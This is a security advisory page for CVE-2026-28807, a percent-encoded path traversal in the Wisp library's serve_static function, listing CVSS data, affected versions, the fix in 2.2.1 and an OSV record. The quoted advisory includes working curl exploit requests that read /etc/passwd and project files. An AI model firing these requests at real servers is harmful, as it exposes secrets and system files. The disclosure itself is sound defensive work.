CVE-2026-28807: Wisp Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-h7cj-j2vv-qw8r
CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2026-28807 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Wisp libraries in the Hex ecosystem. The issue involves wisp vulnerable to path traversal. Remediation is available by upgrading affected packages to version 2.2.1.

CVE-2026-28807 at a Glance

CVE Identifier CVE-2026-28807
GHSA Identifier GHSA-h7cj-j2vv-qw8r
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Wisp
Package Ecosystem Hex
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-28807

To remediate this vulnerability, upgrade all affected Wisp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wisp fixed: 2.2.1
Upgrade wisp to 2.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wisp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-28807, inspect your project dependencies for Wisp:

inspect dependencies for wisp

Analyze the terminal output to locate any version of Wisp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Wisp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93

CVE-2026-28807 Affected Wisp Versions

1 component(s)
Fixed Versions:
2.2.1
Product / Package Ecosystem Affected Versions Fixed Version
wisp
Hex
≥ 2.1.1
< 2.2.1
2.2.1

References

Frequently Asked Questions

What is CVE-2026-28807?
CVE-2026-28807 is a security vulnerability in Wisp involving Wisp Vulnerable to Path Traversal under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Wisp versions are affected?
Affected versions include releases prior to 2.2.1 across affected packages: wisp.
What version fixes CVE-2026-28807?
Upgrading to 2.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is wisp affected?
Yes, wisp is affected in releases prior to 2.2.1. Upgrade your dependency to 2.2.1 or later.
What is the CVSS score of CVE-2026-28807?
CVE-2026-28807 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-28807?
CVE-2026-28807 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Hex dependencies for CVE-2026-28807?
Run the dependency tree command: 'inspect dependencies for wisp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h7cj-j2vv-qw8r",
  "modified" : "2026-06-08T23:41:31Z",
  "published" : "2026-03-11T00:11:39Z",
  "aliases" : [ "CVE-2026-28807" ],
  "summary" : "Wisp Vulnerable to Path Traversal",
  "details" : "### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |> string.drop_start(string.length(prefix))\n  |> string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |> filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -> p\n  Error(_) -> path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -> wisp.Response {\n  use <- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "wisp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.1"
      }, {
        "fixed" : "2.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28807"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-28807.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gleam-wisp/wisp"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-28807"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T00:11:39Z",
    "nvd_published_at" : "2026-03-10T22:16:18Z"
  }
}